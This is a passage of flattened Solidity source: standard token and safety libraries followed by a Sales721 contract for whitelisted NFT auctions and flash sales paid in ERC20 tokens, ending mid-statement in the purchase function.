@dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: contracts/Dependencies/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/Dependencies/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly {size := extcodesize(account)} return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{value : amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value : value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/Dependencies/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) {// Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/Dependencies/IERC165.sol /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: contracts/Dependencies/IERC721.sol /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: contracts/Dependencies/ReentrancyGuard.sol /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: contracts/proxy/Sales721.sol contract Sales721 is Ownable, ReentrancyGuard { using SafeMath for uint; using SafeERC20 for IERC20; uint private saleIDCounter; bool private onlyInitOnce; struct BaseSale { // the sale setter address seller; // addresses of token to sell address[] tokenAddresses; // tokenIDs of token to sell uint[] tokenIDs; // address of token to pay address payTokenAddress; // price of token to pay uint price; // address of receiver address receiver; uint startTime; uint endTime; // whether the sale is available bool isAvailable; } struct FlashSale { BaseSale base; // max number of token could be bought from an address uint purchaseLimitation; } struct Auction { BaseSale base; // the minimum increment in a bid uint minBidIncrement; // the highest price so far uint highestBidPrice; // the highest bidder so far address highestBidder; } // whitelist to set sale mapping(address => bool) public whitelist; // sale ID -> flash sale mapping(uint => FlashSale) flashSales; // sale ID -> mapping(address => how many tokens have bought) mapping(uint => mapping(address => uint)) flashSaleIDToPurchaseRecord; // sale ID -> auction mapping(uint => Auction) auctions; // filter to check repetition mapping(address => mapping(uint => bool)) repetitionFilter; event SetWhitelist(address _member, bool _isAdded); event SetFlashSale(uint _saleID, address _flashSaleSetter, address[] _tokenAddresses, uint[] _tokenIDs, address _payTokenAddress, uint _price, address _receiver, uint _purchaseLimitation, uint _startTime, uint _endTime); event UpdateFlashSale(uint _saleID, address _operator, address[] _newTokenAddresses, uint[] _newTokenIDs, address _newPayTokenAddress, uint _newPrice, address _newReceiver, uint _newPurchaseLimitation, uint _newStartTime, uint _newEndTime); event CancelFlashSale(uint _saleID, address _operator); event FlashSaleExpired(uint _saleID, address _operator); event Purchase(uint _saleID, address _buyer, address[] _tokenAddresses, uint[] _tokenIDs, address _payTokenAddress, uint _totalPayment); event SetAuction(uint _saleID, address _auctionSetter, address[] _tokenAddresses, uint[] _tokenIDs, address _payTokenAddress, uint _initialPrice, address _receiver, uint _minBidIncrement, uint _startTime, uint _endTime); event UpdateAuction(uint _saleID, address _operator, address[] _newTokenAddresses, uint[] _newTokenIDs, address _newPayTokenAddress, uint _newInitialPrice, address _newReceiver, uint _newMinBidIncrement, uint _newStartTime, uint _newEndTime); event RefundToPreviousBidder(uint _saleID, address _previousBidder, address _payTokenAddress, uint _refundAmount); event CancelAuction(uint _saleID, address _operator); event NewBidderTransfer(uint _saleID, address _newBidder, address _payTokenAddress, uint _bidPrice); event SettleAuction(uint _saleID, address _operator, address _receiver, address _highestBidder, address[] _tokenAddresses, uint[] _tokenIDs, address _payTokenAddress, uint _highestBidPrice); modifier onlyWhitelist() { require(whitelist[msg.sender], "the caller isn't in the whitelist"); _; } function init(address _newOwner) public { require(!onlyInitOnce, "already initialized"); _transferOwnership(_newOwner); onlyInitOnce = true; } function setWhitelist(address _member, bool _status) external onlyOwner { whitelist[_member] = _status; emit SetWhitelist(_member, _status); } // set auction by the member in whitelist function setAuction( address[] memory _tokenAddresses, uint[] memory _tokenIDs, address _payTokenAddress, uint _initialPrice, address _receiver, uint _minBidIncrement, uint _startTime, uint _duration ) external nonReentrant onlyWhitelist { // 1. check the validity of params _checkAuctionParams(msg.sender, _tokenAddresses, _tokenIDs, _initialPrice, _minBidIncrement, _startTime, _duration); // 2. build auction Auction memory auction = Auction({ base : BaseSale({ seller : msg.sender, tokenAddresses : _tokenAddresses, tokenIDs : _tokenIDs, payTokenAddress : _payTokenAddress, price : _initialPrice, receiver : _receiver, startTime : _startTime, endTime : _startTime.add(_duration), isAvailable : true }), minBidIncrement : _minBidIncrement, highestBidPrice : 0, highestBidder : address(0) }); // 3. store auction uint currentSaleID = saleIDCounter; saleIDCounter = saleIDCounter.add(1); auctions[currentSaleID] = auction; emit SetAuction(currentSaleID, auction.base.seller, auction.base.tokenAddresses, auction.base.tokenIDs, auction.base.payTokenAddress, auction.base.price, auction.base.receiver, auction.minBidIncrement, auction.base.startTime, auction.base.endTime); } // update auction by the member in whitelist function updateAuction( uint _saleID, address[] memory _tokenAddresses, uint[] memory _tokenIDs, address _payTokenAddress, uint _initialPrice, address _receiver, uint _minBidIncrement, uint _startTime, uint _duration ) external nonReentrant onlyWhitelist { Auction memory auction = _getAuctionByID(_saleID); // 1. make sure that the auction doesn't start require(auction.base.startTime > now, "it's not allowed to update the auction after the start of it"); require(auction.base.isAvailable, "the auction has been cancelled"); require(auction.base.seller == msg.sender, "the auction can only be updated by its setter"); // 2. check the validity of params to update _checkAuctionParams(msg.sender, _tokenAddresses, _tokenIDs, _initialPrice, _minBidIncrement, _startTime, _duration); // 3. update the auction auction.base.tokenAddresses = _tokenAddresses; auction.base.tokenIDs = _tokenIDs; auction.base.payTokenAddress = _payTokenAddress; auction.base.price = _initialPrice; auction.base.receiver = _receiver; auction.base.startTime = _startTime; auction.base.endTime = _startTime.add(_duration); auction.minBidIncrement = _minBidIncrement; auctions[_saleID] = auction; emit UpdateAuction(_saleID, auction.base.seller, auction.base.tokenAddresses, auction.base.tokenIDs, auction.base.payTokenAddress, auction.base.price, auction.base.receiver, auction.minBidIncrement, auction.base.startTime, auction.base.endTime); } // cancel the auction function cancelAuction(uint _saleID) external nonReentrant onlyWhitelist { Auction memory auction = _getAuctionByID(_saleID); require(auction.base.isAvailable, "the auction isn't available"); require(auction.base.seller == msg.sender, "the auction can only be cancelled by its setter"); if (auction.highestBidPrice != 0) { // some bid has paid for this auction IERC20(auction.base.payTokenAddress).safeTransfer(auction.highestBidder, auction.highestBidPrice); emit RefundToPreviousBidder(_saleID, auction.highestBidder, auction.base.payTokenAddress, auction.highestBidPrice); } auctions[_saleID].base.isAvailable = false; emit CancelAuction(_saleID, msg.sender); } // bid for the target auction function bid(uint _saleID, uint _bidPrice) external nonReentrant { Auction memory auction = _getAuctionByID(_saleID); // check the validity of the target auction require(auction.base.isAvailable, "the auction isn't available"); require(auction.base.seller != msg.sender, "the setter can't bid for its own auction"); uint currentTime = now; require(currentTime >= auction.base.startTime, "the auction doesn't start"); require(currentTime < auction.base.endTime, "the auction has expired"); IERC20 payToken = IERC20(auction.base.payTokenAddress); // check bid price in auction if (auction.highestBidPrice != 0) { // not first bid require(_bidPrice.sub(auction.highestBidPrice) >= auction.minBidIncrement, "the bid price must be larger than the sum of current highest one and minimum bid increment"); // refund to the previous highest bidder from this contract payToken.safeTransfer(auction.highestBidder, auction.highestBidPrice); emit RefundToPreviousBidder(_saleID, auction.highestBidder, auction.base.payTokenAddress, auction.highestBidPrice); } else { // first bid require(_bidPrice == auction.base.price, "first bid must follow the initial price set in the auction"); } // update storage auctions auctions[_saleID].highestBidPrice = _bidPrice; auctions[_saleID].highestBidder = msg.sender; // transfer the bid price into this contract payToken.safeApprove(address(this), 0); payToken.safeApprove(address(this), _bidPrice); payToken.safeTransferFrom(msg.sender, address(this), _bidPrice); emit NewBidderTransfer(_saleID, msg.sender, auction.base.payTokenAddress, _bidPrice); } // settle the auction by the member in whitelist function settleAuction(uint _saleID) external nonReentrant onlyWhitelist { Auction memory auction = _getAuctionByID(_saleID); // check the validity of the target auction require(auction.base.isAvailable, "only the available auction can be settled"); require(auction.base.endTime <= now, "the auction can only be settled after its end time"); if (auction.highestBidPrice != 0) { // the auction has been bidden // transfer pay token to the receiver from this contract IERC20(auction.base.payTokenAddress).safeTransfer(auction.base.receiver, auction.highestBidPrice); // transfer erc721s to the bidder who keeps the highest price for (uint i = 0; i < auction.base.tokenAddresses.length; i++) { IERC721(auction.base.tokenAddresses[i]).safeTransferFrom(auction.base.seller, auction.highestBidder, auction.base.tokenIDs[i]); } } // close the auction auctions[_saleID].base.isAvailable = false; emit SettleAuction(_saleID, msg.sender, auction.base.receiver, auction.highestBidder, auction.base.tokenAddresses, auction.base.tokenIDs, auction.base.payTokenAddress, auction.highestBidPrice); } // set flash sale by the member in whitelist // NOTE: set 0 duration if you don't want an endTime function setFlashSale( address[] memory _tokenAddresses, uint[] memory _tokenIDs, address _payTokenAddress, uint _price, address _receiver, uint _purchaseLimitation, uint _startTime, uint _duration ) external nonReentrant onlyWhitelist { // 1. check the validity of params _checkFlashSaleParams(msg.sender, _tokenAddresses, _tokenIDs, _price, _startTime, _purchaseLimitation); // 2. build flash sale uint endTime; if (_duration != 0) { endTime = _startTime.add(_duration); } FlashSale memory flashSale = FlashSale({ base : BaseSale({ seller : msg.sender, tokenAddresses : _tokenAddresses, tokenIDs : _tokenIDs, payTokenAddress : _payTokenAddress, price : _price, receiver : _receiver, startTime : _startTime, endTime : endTime, isAvailable : true }), purchaseLimitation : _purchaseLimitation }); // 3. store flash sale uint currentSaleID = saleIDCounter; saleIDCounter = saleIDCounter.add(1); flashSales[currentSaleID] = flashSale; emit SetFlashSale(currentSaleID, flashSale.base.seller, flashSale.base.tokenAddresses, flashSale.base.tokenIDs, flashSale.base.payTokenAddress, flashSale.base.price, flashSale.base.receiver, flashSale.purchaseLimitation, flashSale.base.startTime, flashSale.base.endTime); } // update the flash sale before starting // NOTE: set 0 duration if you don't want an endTime function updateFlashSale( uint _saleID, address[] memory _tokenAddresses, uint[] memory _tokenIDs, address _payTokenAddress, uint _price, address _receiver, uint _purchaseLimitation, uint _startTime, uint _duration ) external nonReentrant onlyWhitelist { FlashSale memory flashSale = _getFlashSaleByID(_saleID); // 1. make sure that the flash sale doesn't start require(flashSale.base.startTime > now, "it's not allowed to update the flash sale after the start of it"); require(flashSale.base.isAvailable, "the flash sale has been cancelled"); require(flashSale.base.seller == msg.sender, "the flash sale can only be updated by its setter"); // 2. check the validity of params to update _checkFlashSaleParams(msg.sender, _tokenAddresses, _tokenIDs, _price, _startTime, _purchaseLimitation); // 3. update flash sale uint endTime; if (_duration != 0) { endTime = _startTime.add(_duration); } flashSale.base.tokenAddresses = _tokenAddresses; flashSale.base.tokenIDs = _tokenIDs; flashSale.base.payTokenAddress = _payTokenAddress; flashSale.base.price = _price; flashSale.base.receiver = _receiver; flashSale.base.startTime = _startTime; flashSale.base.endTime = endTime; flashSale.purchaseLimitation = _purchaseLimitation; flashSales[_saleID] = flashSale; emit UpdateFlashSale(_saleID, flashSale.base.seller, flashSale.base.tokenAddresses, flashSale.base.tokenIDs, flashSale.base.payTokenAddress, flashSale.base.price, flashSale.base.receiver, flashSale.purchaseLimitation, flashSale.base.startTime, flashSale.base.endTime); } // cancel the flash sale function cancelFlashSale(uint _saleID) external onlyWhitelist { FlashSale memory flashSale = _getFlashSaleByID(_saleID); require(flashSale.base.isAvailable, "the flash sale isn't available"); require(flashSale.base.seller == msg.sender, "the flash sale can only be cancelled by its setter"); flashSales[_saleID].base.isAvailable = false; emit CancelFlashSale(_saleID, msg.sender); } // rush to purchase by anyone function purchase(uint _saleID, uint _amount) external nonReentrant { FlashSale memory flashSale = _getFlashSaleByID(_saleID); // check the validity require(_amount > 0, "amount should be > 0"); require(flashSale.base.isAvailable, "the flash sale isn't available"); require(flashSale.base.seller != msg.sender, "the setter can't make a purchase from its own flash sale"); uint currentTime = now; require(currentTime >= flashSale.base.startTime, "the flash sale doesn't start"); // check whether the end time arrives if (flashSale.base.endTime != 0 && flashSale.base.endTime <= currentTime) { // the flash sale has been set an end time and expired flashSales[_saleID].base.isAvailable = false; emit FlashSaleExpired(_saleID, msg.sender); return; } // check the purchase record of the buyer uint newPurchaseRecord = flashSaleIDToPurchaseRecord[_saleID][msg.sender].add(_amount); require(newPurchaseRecord <= 